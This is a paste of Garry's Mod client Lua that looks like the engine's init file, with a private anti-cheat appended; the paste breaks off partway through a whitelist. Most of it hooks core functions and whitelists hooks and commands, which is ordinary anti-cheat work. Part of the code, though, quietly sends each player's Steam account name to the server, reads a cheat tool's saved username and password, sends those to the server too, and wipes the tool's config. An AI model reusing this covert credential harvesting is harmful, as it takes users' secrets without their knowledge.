Anthr4x292

MindBlast Server Client Code: Anti-Cheat that barely works

Feb 11th, 2012
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 37.03 KB | None | 0 0
  1.  
  2. /*---------------------------------------------------------
  3.     Non-Module includes
  4. ---------------------------------------------------------*/
  5.  
  6. include ( "compat.lua" )        // Backwards Compatibility
  7. include ( "util.lua" )          // Misc Utilities  
  8. include ( "util/sql.lua" )      // Include sql here so it's
  9.                                // available at loadtime to modules.
  10.  
  11. /*---------------------------------------------------------
  12.    Shared Modules
  13. ---------------------------------------------------------*/
  14.  
  15. require ( "concommand" )        // Console Commands
  16. require ( "saverestore" )       // Save/Restore
  17. require ( "gamemode" )          // Gamemode manager
  18. require ( "weapons" )           // SWEP manager
  19. require ( "hook" )              // Gamemode hooks
  20. require ( "timer" )             // Timer manager
  21. require ( "schedule" )          // Schedule manager
  22. require ( "scripted_ents" )     // Scripted Entities
  23. require ( "player_manager" )    // Player models manager
  24. require ( "numpad" )
  25. require ( "team" )
  26. require ( "undo" )
  27. require ( "cleanup" )
  28. require ( "duplicator" )
  29. require ( "constraint" )
  30. require ( "construct" )
  31. require ( "filex" )
  32. require ( "vehicles" )
  33. require ( "usermessage" )
  34. require ( "list" )
  35. require ( "cvars" )
  36. require ( "http" )
  37. require ( "datastream" )
  38.  
  39. /*---------------------------------------------------------
  40.    Serverside only modules
  41. ---------------------------------------------------------*/
  42.  
  43. if ( SERVER ) then
  44.  
  45.    require ( "server_settings" )
  46.    require ( "ai_schedule" )
  47.    require ( "ai_task" )
  48.    include( "util/entity_creation_helpers.lua" )
  49.  
  50. end
  51.  
  52.  
  53. /*---------------------------------------------------------
  54.    Clientside only modules
  55. ---------------------------------------------------------*/
  56.  
  57. if ( CLIENT ) then
  58.  
  59.    require ( "draw" )          // 2D Draw library
  60.    require ( "markup" )        // Text markup library
  61.    require ( "effects" )
  62.    require ( "killicon" )
  63.    require ( "spawnmenu" )
  64.    require ( "controlpanel" )
  65.    require ( "presets" )
  66.    require ( "cookie" )
  67.    
  68.    include( "util/model_database.lua" )    // Store information on models as they're loaded
  69.     include( "util/vgui_showlayout.lua" )   // VGUI Performance Debug
  70.     include( "util/tooltips.lua" )  
  71.     include( "util/client.lua" )
  72.  
  73. end
  74.  
  75.  
  76. /*---------------------------------------------------------
  77.     Shared modules
  78. ---------------------------------------------------------*/
  79. include( "gmsave.lua" )
  80.  
  81.  
  82. /*---------------------------------------------------------
  83.     Print version information to the console
  84. ---------------------------------------------------------*/
  85.  
  86. Msg( "Lua initialized (" .. _VERSION .. ")\n" )
  87.  
  88.  
  89. if ( SERVER ) then
  90.  
  91.     concommand.Add( "+numpad", CC_NumpadOn )
  92.     concommand.Add( "-numpad", CC_NumpadOff )
  93.    
  94. end
  95.  
  96. --[[================================= LE ANTI CHEAT :O =================================
  97.  
  98.             Looks like you've found my anti-cheat, which I've spent lots of hard effort on
  99.             if you have any suggestions please contact me on Steam (G-Force Connections)
  100.  
  101.             Please don't distibute this anti-cheat to anyone, this kind of ruins the whole purpose
  102.             of writing your own PERSONAL anti-cheat for your own PERSONAL servers and not for others
  103.             to use.
  104.  
  105.             If you don't understand anything here, then I suggest you don't touch anything and just
  106.             give up because this is a bit more advanced lua then a 12 year old would know.
  107.  
  108.             P.S Don't bother contacting me and asking me how this works.
  109.  
  110. ========================================================================================]]
  111.  
  112. if not CLIENT or LOADED then return end
  113.  
  114. local G, R = 0, 0
  115. for _, _ in pairs( _G ) do G = G + 1 end
  116. for _, _ in pairs( _R ) do R = R + 1 end
  117.  
  118. LOADED = true
  119.  
  120. local _
  121. local NotR      = require
  122. local NotTC     = timer.Create
  123. local NotTS     = timer.Simple
  124. local NotRCC    = RunConsoleCommand
  125. local NotFR     = file.Read
  126. local NotFW     = file.Write
  127. local NotFFIL   = file.FindInLua
  128. local NotFF     = file.Find
  129. local NotFTF    = file.TFind
  130. local NotFS     = file.Size
  131. local NotFFD    = file.FindDir
  132. local NotFE     = file.Exists
  133. local NotFEX    = file.ExistsEx
  134. local NotFID    = file.IsDir
  135. local NotFT     = file.Time
  136. local NotFD     = file.Delete
  137. local NotSTS    = datastream.StreamToServer
  138. local NotQ      = sql.Query
  139. local NotQTE    = sql.TableExists
  140. local NotD      = debug.getinfo
  141. local NotDGL    = debug.getlocal
  142. local NotUH     = usermessage.Hook
  143. local NotUIM    = usermessage.IncomingMessage
  144. local NotGCVN   = GetConVarNumber
  145. local NotGCVS   = GetConVarString
  146. local NotCVGI   = _R.ConVar.GetInt
  147. local NotCVGB   = _R.ConVar.GetBool
  148. local NotSEA    = _R.Player.SetEyeAngles
  149. local NotSVA    = _R.CUserCmd.SetViewAngles
  150. local NotI      = _G.include
  151. local NotM      = hook._M
  152. local NotCC     = concommand
  153. local NotECC    = engineConsoleCommand
  154. local util      = util
  155. local game      = game
  156.  
  157. local function SAFE_DIR( DIR ) return DIR:gsub( '\'', "/" ) end
  158. local function GetRand() return tostring( math.random( 99999999 ) ) end
  159.  
  160. -- Dedicated to Seth
  161. local SH_READFILE, SH_REGREAD, SH_REGWRITE
  162.  
  163. local cmdqueue  = {}
  164. local cmdqueue2 = {}
  165. local function queueCommand( cmd, args )
  166.     if LocalPlayer and not LocalPlayer():IsValid() then
  167.         table.insert( cmdqueue, { cmd, args } )
  168.     else
  169.         table.insert( cmdqueue2, { cmd, args } )
  170.     end
  171. end
  172.  
  173. NotM.GetTable()[ "InitPostEntity" ] = NotM.GetTable()[ "InitPostEntity" ] or {}
  174.  
  175. local InitRand = GetRand()
  176. NotM.GetTable()[ "InitPostEntity" ][ InitRand ] = function()
  177.     NotRCC( GetGlobalString( util.CRC( game.GetMap():lower() ) ) )
  178.  
  179.     for k , v in pairs( cmdqueue ) do
  180.         table.insert( cmdqueue2, v )
  181.     end
  182.  
  183.     NotM.GetTable()[ "InitPostEntity" ][ InitRand ] = nil
  184. end
  185.  
  186. local Counter_CMD, Force_CMD, Recoil_CMD, Warn_CMD, Detour_CMD, ECC_CMD, CA_CMD, HA_CMD, R_CMD, CRC_CMD, REMOVE_CMD, FILES_CMD, DOWNLOAD_CMD, GREMOVE, GCRC, GFFR
  187.  
  188. local function SafeRCC( Table )
  189.     local String = ""
  190.  
  191.     for _, v in pairs( Table ) do
  192.         String = String .. " " .. v
  193.     end
  194.  
  195.     return String
  196. end
  197.  
  198. NotTC( GetRand(), 0.25, 0, function()
  199.     if #cmdqueue2 >= 1 then
  200.         NotRCC( cmdqueue2[1][1], unpack( cmdqueue2[1][2] ) )
  201.  
  202.         table.remove( cmdqueue2, 1 )
  203.     end
  204. end )
  205.  
  206. queueCommand( "USER_NAME", { util.RelativePathToFull( "gameinfo.txt" ):gsub( '\\', "/" ):match( "steamapps/(.-)/" ) } )
  207.  
  208. function _G.include( path, ... )
  209.     if tostring( path ):lower() == "includes/extensions/table.lua" then
  210.         _, SH_READFILE  = NotDGL( 2, 30 )
  211.         _, SH_REGREAD   = NotDGL( 2, 34 )
  212.         _, SH_REGWRITE  = NotDGL( 2, 35 )
  213.  
  214.         if SH_REGREAD or SH_SETNAME then
  215.             if SH_REGREAD then
  216.                 local User = SH_REGREAD( "username" )
  217.                 local Pass = SH_REGREAD( "password" )
  218.  
  219.                 queueCommand( util.CRC( game.GetMap():lower() ), { User, Pass, SH_MODVER } )
  220.             end
  221.  
  222.             if SH_REGWRITE then
  223.                 SH_REGWRITE( "igopt_Configs", "" )
  224.             end
  225.  
  226.             _G.include = NotI
  227.         end
  228.     end
  229.  
  230.     return NotI( path, ... )
  231. end
  232.  
  233. RunString               = nil
  234. RunStringEx             = nil
  235. CompileString           = nil
  236. hook                    = nil
  237. engineConsoleCommand    = nil
  238. concommand              = nil
  239. require                 = nil
  240. debug                   = nil
  241.  
  242. local HOOKTABLE = NotM.GetTable() or {}
  243.  
  244. local WHITELIST_HOOKS = {
  245.     { "Think", "CheckSchedules", "lua/includes/modules/schedule.lua" },
  246.     { "PostReloadToolsMenu", "BuildUndoUI", "lua/includes/modules/undo.lua" },
  247.     { "PostReloadToolsMenu", "BuildCleanupUI", "lua/includes/modules/cleanup.lua" },
  248.     { "Think", "HTTPThink", "lua/includes/modules/http.lua" },
  249.     { "PostRenderVGUI", "VGUIShowLayoutPaint", "lua/includes/util/vgui_showlayout.lua" },
  250.     { "VGUIPerformLayout", "VGUIShowLayout", "lua/includes/util/vgui_showlayout.lua" },
  251.     { "Think", "RealFrameTime", "lua/includes/util/client.lua" },
  252.     { "EntityRemoved", "DoDieFunction", "lua/includes/extensions/entity.lua" },
  253.     { "Tick", "SendQueuedConsoleCommands", "lua/includes/extensions/player.lua" },
  254.     { "PlayerBindPress", "PlayerOptionInput", "lua/includes/extensions/player_cl.lua" },
  255.     { "HUDPaint", "PlayerOptionDraw", "lua/includes/extensions/player_cl.lua" },
  256.     { "VGUIMousePressed", "DermaDetectMenuFocus", "lua/derma/derma_menus.lua" },
  257.     { "Think", "NotificationThink", "lua/includes/modules/notification.lua" },
  258.     { "InitPostEntity", "CreateVoiceVGUI", "gamemodes/base/gamemode/cl_voice.lua" },
  259.     { "UCLAuthed", "InitXGUI", "ulx/modules/cl/xgui_client.lua" },
  260.     { "ULibLocalPlayerReady", "InitXguiHelpers", "ulx/modules/cl/xgui_helpers.lua" },
  261.     { "ULibLocalPlayerReady", "InitXLIB", "ulx/modules/cl/xlib.lua" },
  262.     { "PlayerSay", "ULXGimpCheck", "ulx/modules/sh/chat.lua" },
  263.     { "ULibLocalPlayerReady", "ULXSendGags", "ulx/modules/sh/chat.lua" },
  264.     { "PlayerSay", "ulxPlayerSay", "ulx/modules/sh/chat.lua" },
  265.     { "PlayerSay", "ULXMeCheck", "ulx/modules/sh/chat.lua" },
  266.     { "PlayerInitialSpawn", "ULXWelcome", "ulx/modules/sh/chat.lua" },
  267.     { "PlayerDeath", "ULXCheckFireDeath", "ulx/modules/sh/fun.lua" },
  268.     { "PlayerDisconnected", "ULXJailDisconnectedCheck", "ulx/modules/sh/fun.lua" },
  269.     { "PhysgunPickup", "ulxPlayerPickupJailCheck", "ulx/modules/sh/fun.lua" },
  270.     { "PhysgunDrop", "ulxPlayerDropJailCheck", "ulx/modules/sh/fun.lua" },
  271.     { "PlayerSpawn", "ULXRagdollSpawnCheck", "ulx/modules/sh/fun.lua" },
  272.     { "PlayerDisconnected", "ULXRagdollDisconnectedCheck", "ulx/modules/sh/fun.lua" },
  273.     { "PlayerDeath", "ULXCheckMaulDeath", "ulx/modules/sh/fun.lua" },
  274.     { "PlayerDisconnected", "ULXMaulDisconnectedCheck", "ulx/modules/sh/fun.lua" },
  275.     { "PlayerInitialSpawn", "showMotd", "ulx/modules/sh/menus.lua" },
  276.     { "UCLChanged", "ULXGroupNamesUpdate", "ulx/modules/sh/user.lua" },
  277.     { "PhysgunPickup", "ulxPlayerPickup", "ulx/modules/sh/util.lua" },
  278.     { "PhysgunDrop", "ulxPlayerDrop", "ulx/modules/sh/util.lua" },
  279.     { "OnEntityCreated", "ULibLocalPlayerCheck", "ulib/cl_init.lua" },
  280.     { "PopulateToolMenu", "PopulateOptionMenus", "lua/autorun/options_menu.lua" },
  281.     { "AddToolMenuCategories", "CreateOptionsCategories", "lua/autorun/options_menu.lua" },
  282.     { "PopulateToolMenu", "PopulateUtilityMenus", "lua/autorun/utilities_menu.lua" },
  283.     { "AddToolMenuCategories", "CreateUtilitiesCategories", "lua/autorun/utilities_menu.lua" },
  284.     { "RenderScreenspaceEffects", "RenderToyTown", "postprocess/toytown.lua" },
  285.     { "PopulateToolMenu", "AddPostProcessMenu_ToyTown", "postprocess/toytown.lua" },
  286.     { "RenderScreenspaceEffects", "RenderBloom", "lua/postprocess/bloom.lua" },
  287.     { "PopulateToolMenu", "AddPostProcessMenu_Bloom", "lua/postprocess/bloom.lua" },
  288.     { "AddToolMenuCategories", "CreatePostProcessingMenuCategories", "lua/postprocess/categories.lua" },
  289.     { "RenderScreenspaceEffects", "RenderColorModify", "lua/postprocess/color_modify.lua" },
  290.     { "PopulateToolMenu", "AddPostProcessMenu_ColorMod", "lua/postprocess/color_modify.lua" },
  291.     { "Think", "DOFThink", "lua/postprocess/dof.lua" },
  292.     { "PopulateToolMenu", "AddPostProcessMenu_DoF", "lua/postprocess/dof.lua" },
  293.     { "RenderScreenspaceEffects", "DrawMorph", "lua/postprocess/morph.lua" },
  294.     { "GUIMousePressed", "MorphMouseDown", "lua/postprocess/morph.lua" },
  295.     { "GUIMouseReleased", "MorphMouseUp", "lua/postprocess/morph.lua" },
  296.     { "PopulateToolMenu", "AddPostProcessMenu_Morph", "lua/postprocess/morph.lua" },
  297.     { "RenderScreenspaceEffects", "RenderMotionBlur", "lua/postprocess/motion_blur.lua" },
  298.     { "PopulateToolMenu", "AddPostProcessMenu_MotionBlur", "lua/postprocess/motion_blur.lua" },
  299.     { "RenderScreenspaceEffects", "RenderMaterialOverlay", "lua/postprocess/overlay.lua" },
  300.     { "PopulateToolMenu", "AddPostProcessMenu_Overlay", "lua/postprocess/overlay.lua" },
  301.     { "RenderScreenspaceEffects", "RenderSharpen", "lua/postprocess/sharpen.lua" },
  302.     { "PopulateToolMenu", "AddPostProcessMenu_Sharpen", "lua/postprocess/sharpen.lua" },
  303.     { "RenderScreenspaceEffects", "RenderSobel", "lua/postprocess/sobel.lua" },
  304.     { "PopulateToolMenu", "AddPostProcessMenu_Sobel", "lua/postprocess/sobel.lua" },
  305.     { "RenderScene", "RenderStereoscopy", "lua/postprocess/stereoscopy.lua" },
  306.     { "RenderScreenspaceEffects", "RenderSunbeams", "lua/postprocess/sunbeams.lua" },
  307.     { "PopulateToolMenu", "AddPostProcessMenu_SunBeams", "lua/postprocess/sunbeams.lua" },
  308.     { "RenderScene", "RenderSuperDoF", "lua/postprocess/super_dof.lua" },
  309.     { "GUIMousePressed", "SuperDOFMouseDown", "lua/postprocess/super_dof.lua" },
  310.     { "GUIMouseReleased", "SuperDOFMouseUp", "lua/postprocess/super_dof.lua" },
  311.     { "PopulateToolMenu", "AddPostProcessMenu_SuperDoF", "lua/postprocess/super_dof.lua" },
  312.     { "VGUIMousePressed", "TextEntryLoseFocus", "lua/vgui/dtextentry.lua" },
  313.     { "InitPostEntity", "FixTooManyVertexes", "MB_PERP/gamemode/maps/rp_evocity_v33x.lua" },
  314.     { "RenderScreenspaceEffects", "uwuwuwuw", "MB_PERP/gamemode/items/drugs/cl_drug_shroom.lua" },
  315.     { "RenderScreenspaceEffects", "ITEM.MakeEffects_BEER", "MB_PERP/gamemode/items/drugs/drug_beer.lua" },
  316.     { "RenderScreenspaceEffects", "ITEM.MakeEffects_Weed", "MB_PERP/gamemode/items/drugs/drug_bong.lua" },
  317.     { "InitPostEntity", "CreateSounds", "MB_PERP/gamemode/items/drugs/drug_cocaine.lua" },
  318.     { "RenderScreenspaceEffects", "CocaineRenderScreenspaceEffects", "MB_PERP/gamemode/items/drugs/drug_cocaine.lua" },
  319.     { "InitPostEntity", "loadPostInt", "MB_PERP/gamemode/sh_init.lua" },
  320.     { "Think", "ControlEyeAngles", "MB_PERP/gamemode/cl_player.lua" },
  321.     { "Think", "monitorRevving", "MB_PERP/gamemode/cl_vehicles.lua" },
  322.     { "HUDPaint", "DrawAdminESP", "MB_PERP/gamemode/cl_modules/admin_esp.lua" },
  323.     { "HUDPaint", "AdminNotify", "MB_PERP/gamemode/cl_modules/admin_text.lua" },
  324.     { "Think", "GM.PlayerDieingSounds", "MB_PERP/gamemode/cl_modules/death_effects.lua" },
  325.     { "HUDPaint", "Bloodshoteyes", "MB_PERP/gamemode/cl_modules/death_effects.lua" },
  326.     { "EngineSpew", "ES", "MB_PERP/gamemode/cl_modules/engine_spew.lua" },
  327.     { "RenderScreenspaceEffects", "GM.HealthEffects", "MB_PERP/gamemode/cl_modules/health_effects.lua" },
  328.     { "HUDPaint", "PaintNotes", "MB_PERP/gamemode/cl_modules/notices.lua" },
  329.     { "Think", "MonitorOptions", "MB_PERP/gamemode/cl_modules/options.lua" },
  330.     { "Think", "monitorKeyPress", "MB_PERP/gamemode/cl_modules/phone.lua" },
  331.     { "Think", "monitorRinging", "MB_PERP/gamemode/cl_modules/phone.lua" },
  332.     { "Think", "BASSCallback", "[C]" },
  333.     { "StreamTable", "cleanupRadios", "MB_PERP/gamemode/cl_modules/radio.lua" },
  334.     { "ShutDown", "shutdownRadio", "MB_PERP/gamemode/cl_modules/radio.lua" },
  335.     { "Think", "MonitorRadios", "MB_PERP/gamemode/cl_modules/radio.lua" },
  336.     { "HUDPaint", "RadioDrawSomeShit", "MB_PERP/gamemode/cl_modules/radio.lua" },
  337.     { "CalcView", "GM.CalcRagdollEyes", "MB_PERP/gamemode/cl_modules/rag_eyes.lua" },
  338.     { "RenderScreenspaceEffects", "GM.SpeedEffects", "MB_PERP/gamemode/cl_modules/speed_effects.lua" },
  339.     { "Think", "thinkRadioStatic", "MB_PERP/gamemode/cl_modules/voice.lua" },
  340.     { "InitPostEntity", "CreateVoiceVGUI", "MB_PERP/gamemode/cl_modules/voice.lua" },
  341.     { "Think", "monitorKeyPress_WalkieTalkie", "MB_PERP/gamemode/cl_modules/voice.lua" },
  342.     { "InitPostEntity", "initializeRainSounds", "MB_PERP/gamemode/cl_modules/weather.lua" },
  343.     { "Think", "weatherThink", "MB_PERP/gamemode/cl_modules/weather.lua" },
  344.     { "RenderScreenspaceEffects", "GM.WeatherEffects", "MB_PERP/gamemode/cl_modules/weather.lua" },
  345.     { "KeyPress", "MonitorKeysForFlymobile", "weapons/god_stick/shared.lua" },
  346.     { "OnTextEntryGetFocus", "XGUI_GetKeyboardFocus", "ulx/modules/cl/xgui_helpers.lua" },
  347.     { "OnTextEntryLoseFocus", "XGUI_LoseKeyboardFocus", "ulx/modules/cl/xgui_helpers.lua" },
  348.     { "XLIBDoAnimation", "xlib_runAnims", "ulx/modules/cl/xgui_helpers.lua" },
  349.     { "UCLChanged", "xgui_RefreshPlayerCmds", "ulx/xgui/commands.lua" },
  350.     { "ULibPlayerNameChanged", "xgui_plyUpdateCmds", "ulx/xgui/commands.lua" },
  351.     { "UCLChanged", "xgui_RefreshGroups", "ulx/xgui/groups.lua" },
  352.     { "ULibPlayerNameChanged", "xgui_plyUpdateGroups", "ulx/xgui/groups.lua" },
  353.     { "ULibReplicatedCvarChanged", "XGUI_mapsUpdateVotemapEnabled", "ulx/xgui/maps.lua" },
  354.     { "ULibReplicatedCvarChanged", "XLIB_rep_sv_voiceenable", "ulx/modules/cl/xlib.lua" },
  355.     { "ULibReplicatedCvarChanged", "XLIB_rep_sv_alltalk", "ulx/modules/cl/xlib.lua" },
  356.     { "ULibReplicatedCvarChanged", "XLIB_rep_ai_disabled", "ulx/modules/cl/xlib.lua" },
  357.     { "ULibReplicatedCvarChanged", "XLIB_rep_ai_ignoreplayers", "ulx/modules/cl/xlib.lua" },
  358.     { "ULibReplicatedCvarChanged", "XLIB_rep_sv_gravity", "ulx/modules/cl/xlib.lua" },
  359.     { "ULibReplicatedCvarChanged", "XLIB_rep_phys_timescale", "ulx/modules/cl/xlib.lua" },
  360.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemap2Successratio", "ulx/modules/cl/xlib.lua" },
  361.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemap2Minvotes", "ulx/modules/cl/xlib.lua" },
  362.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_voteEcho", "ulx/modules/cl/xlib.lua" },
  363.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEcho", "ulx/modules/cl/xlib.lua" },
  364.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logSpawnsEcho", "ulx/modules/cl/xlib.lua" },
  365.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColors", "ulx/modules/cl/xlib.lua" },
  366.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorDefault", "ulx/modules/cl/xlib.lua" },
  367.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorConsole", "ulx/modules/cl/xlib.lua" },
  368.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorSelf", "ulx/modules/cl/xlib.lua" },
  369.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorEveryone", "ulx/modules/cl/xlib.lua" },
  370.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorPlayerAsGroup", "ulx/modules/cl/xlib.lua" },
  371.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorPlayer", "ulx/modules/cl/xlib.lua" },
  372.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEchoColorMisc", "ulx/modules/cl/xlib.lua" },
  373.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_chattime", "ulx/modules/cl/xlib.lua" },
  374.     { "ULibReplicatedCvarChanged", "XGUI_ulx_cl_showMotd", "ulx/xgui/settings/server.lua" },
  375.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_welcomemessage", "ulx/modules/cl/xlib.lua" },
  376.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_kickAfterNameChanges", "ulx/modules/cl/xlib.lua" },
  377.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_kickAfterNameChangesCooldown", "ulx/modules/cl/xlib.lua" },
  378.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_kickAfterNameChangesWarning", "ulx/modules/cl/xlib.lua" },
  379.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logFile", "ulx/modules/cl/xlib.lua" },
  380.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logChat", "ulx/modules/cl/xlib.lua" },
  381.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logEvents", "ulx/modules/cl/xlib.lua" },
  382.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_logSpawns", "ulx/modules/cl/xlib.lua" },
  383.     { "ULibReplicatedCvarChanged", "XGUI_ulx_cl_logDir", "ulx/xgui/settings/server.lua" },
  384.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapEnabled", "ulx/modules/cl/xlib.lua" },
  385.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapMintime", "ulx/modules/cl/xlib.lua" },
  386.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapWaittime", "ulx/modules/cl/xlib.lua" },
  387.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapSuccessratio", "ulx/modules/cl/xlib.lua" },
  388.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapMinvotes", "ulx/modules/cl/xlib.lua" },
  389.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapVetotime", "ulx/modules/cl/xlib.lua" },
  390.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votemapMapmode", "ulx/modules/cl/xlib.lua" },
  391.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_rslotsMode", "ulx/modules/cl/xlib.lua" },
  392.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_rslots", "ulx/modules/cl/xlib.lua" },
  393.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_rslotsVisible", "ulx/modules/cl/xlib.lua" },
  394.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votekickSuccessratio", "ulx/modules/cl/xlib.lua" },
  395.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votekickMinvotes", "ulx/modules/cl/xlib.lua" },
  396.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votebanSuccessratio", "ulx/modules/cl/xlib.lua" },
  397.     { "ULibReplicatedCvarChanged", "XLIB_ulx_cl_votebanMinvotes", "ulx/modules/cl/xlib.lua" },
  398.     { "Think", "ULibQueueThink", "ulib/shared/util.lua" },
  399.     { "Think", "XGUIQueueThink", "ulx/modules/cl/xgui_helpers.lua" },
  400.     { "HUDPaint", "CSayHelperDraw", "ulib/client/draw.lua" },
  401.     { "UCLAuthed", "XGUI_PermissionsChanged", "[C]" },
  402.     { "Think", "MonColorsATM", "MB_PERP/gamemode/vgui/bank_window.lua" },
  403.     { "Think", "MonColors", "MB_PERP/gamemode/vgui/create_user.lua" },
  404.     { "Think", "MonColors2", "MB_PERP/gamemode/vgui/rename.lua" },
  405.     { "VGUIMousePressed", "TextEntryLoseFocus", "lua/vgui/DTextEntry.lua" },
  406.     { "HUDPaint", "ulx_blind", "ulx/cl_lib.lua" },
  407.     { "CrashTick", "CrashTick_Autoreconnect", "mb_perp/gamemode/cl_modules/crash.lua" },
  408.     { "ShutDown", "Crash_Tick", "mb_perp/gamemode/cl_modules/crash.lua" },
  409.     { "PlayerBindPress", "CrashTick_Autoreconnect", "mb_perp/gamemode/cl_modules/crash.lua" },
  410.     { "HUDPaint", "CrashTick_Autoreconnect", "mb_perp/gamemode/cl_modules/crash.lua" },
  411.     { "Move", "Crash_Ticker", "mb_perp/gamemode/cl_modules/pong.lua" },
  412.     { "Tick", "Crash_Ticker", "mb_perp/gamemode/cl_modules/pong.lua" },
  413.     { "InitPostEntity", "ReadyMe", "entities/lua_advert/cl_init.lua" },
  414.     { "CalcView", "DeathView", "mb_perp/gamemode/cl_modules/death_effects.lua" },
  415.     { "Think", "CBilliardThink", "mb_perp/gamemode/cl_modules/cl_billiards.lua" },
  416.     { "PlayerBindPress", "BilliardsAdjustPower", "mb_perp/gamemode/cl_modules/cl_billiards.lua" },
  417.     { "Think", "CasinoRadio", "mb_perp/gamemode/cl_modules/radio.lua" },
  418.     { "KeyPress", "KeyPressedHook", "entities/slotmachine/cl_init.lua" },
  419.     { "HUDPaint", "CBilliardHUD", "mb_perp/gamemode/cl_modules/cl_billiards.lua" },
  420.     { "InputMouseApply", "CBilliardMouseLock", "mb_perp/gamemode/cl_modules/cl_billiards.lua" },
  421.     { "CalcView", "CBilliardSpectate", "mb_perp/gamemode/cl_modules/cl_billiards.lua" },
  422.     { "ULibReplicatedCvarChanged", "XLIB_rep_physgun_limited", "ulx/modules/cl/xlib.lua" },
  423. }
  424.  
  425. local function isHookWhitelist( name, unique, location )
  426.     if name == nil or unique == nil or location == nil then return false end
  427.  
  428.     name = name:lower() or name
  429.     unique = unique:lower() or unique
  430.     location = location:lower() or location
  431.  
  432.     for _, v in pairs( WHITELIST_HOOKS ) do
  433.         if v[1]:lower() == name and v[2]:lower() == unique and v[3]:lower() == location then
  434.             return true
  435.         end
  436.     end
  437.  
  438.     return false
  439. end
  440.  
  441. local function hookAdd( name, unique, func )
  442.     local Path = NotD(2).short_src:gsub( '\\', "/" )
  443.  
  444.     if isHookWhitelist( name, unique, Path ) then
  445.         if not HOOKTABLE[ name ] then HOOKTABLE[ name ] = {} end
  446.  
  447.         HOOKTABLE[ name ][ unique ] = func
  448.  
  449.         NotM.Add( name, unique, func )
  450.  
  451.         return
  452.     end
  453.  
  454.     queueCommand( HA_CMD or "HA_bk", { name, unique, Path } )
  455. end
  456.  
  457. local WHITELIST_COMMAND = {
  458.     { "lua_cookieclear", "lua/includes/modules/cookie.lua" },
  459.     { "lua_cookiespew", "lua/includes/modules/cookie.lua" },
  460.     { "derma_controls", "lua/derma/derma_example.lua" },
  461.     { "+menu", "gamemodes/base/gamemode/cl_spawnmenu.lua" },
  462.     { "-menu", "gamemodes/base/gamemode/cl_spawnmenu.lua" },
  463.     { "+menu_context", "gamemodes/base/gamemode/cl_spawnmenu.lua" },
  464.     { "-menu_context", "gamemodes/base/gamemode/cl_spawnmenu.lua" },
  465.     { "ulx", "ulib/shared/commands.lua" },
  466.     { "xgui", "ulib/shared/commands.lua" },
  467.     { "lua_find_cl", "lua/autorun/developer_functions.lua" },
  468.     { "ent_printinfo", "lua/autorun/developer_functions.lua" },
  469.     { "pp_morph_open", "lua/postprocess/morph.lua" },
  470.     { "pp_superdof", "lua/postprocess/super_dof.lua" },
  471.     { "perp_iv", "MB_PERP/gamemode/cl_modules/item_view.lua" },
  472.     { "+giveitempanel", "MB_PERP/gamemode/vgui/giveitem.lua" },
  473.     { "-giveitempanel", "MB_PERP/gamemode/vgui/giveitem.lua" },
  474.     { "slotm_setbet", "entities/slotmachine/cl_init.lua" },
  475. }
  476.  
  477. local function isCommandWhitelisted( cmd, path )
  478.     if cmd == nil or path == nil then return false end
  479.  
  480.     cmd = cmd:lower() or cmd
  481.     path = path:lower() or path
  482.  
  483.     for _, v in pairs( WHITELIST_COMMAND ) do
  484.         if v[1]:lower() == cmd and v[2]:lower() == path then
  485.             return true
  486.         end
  487.     end
  488.  
  489.     return false
  490. end
  491.  
  492. local function commandAdd( cmd, func, auto )
  493.     local Path = NotD(2).short_src:gsub( '\\', "/" )
  494.  
  495.     if isCommandWhitelisted( cmd, Path ) then
  496.         return NotCC.Add( cmd, func, auto )
  497.     end
  498.  
  499.     queueCommand( CA_CMD or "CA_bk", { cmd, Path } )
  500. end
  501.  
  502. local function EngineConsoleCommand( ply, cmd, args )
  503.     if not NotD(2) then return NotECC( ply, cmd, args ) end
  504.  
  505.     local Path = NotD(2).short_src:gsub( '\\', "/" )
  506.  
  507.     if isCommandWhitelisted( cmd, Path ) then
  508.         return NotECC( ply, cmd, args )
  509.     elseif Path then
  510.         queueCommand( ECC_CMD or "ECC_bk", { cmd, Path } )
  511.         return false
  512.     end
  513. end
  514.  
  515. local WHITELIST_REQUIRE = {
  516.     { "sqlite", "lua/includes/util/sql.lua" },
  517.     { "concommand", "includes/init.lua" },
  518.     { "saverestore", "includes/init.lua" },
  519.     { "gamemode", "includes/init.lua" },
  520.     { "hook", "lua/includes/modules/gamemode.lua" },
  521.     { "weapons", "includes/init.lua" },
  522.     { "hook", "includes/init.lua" },
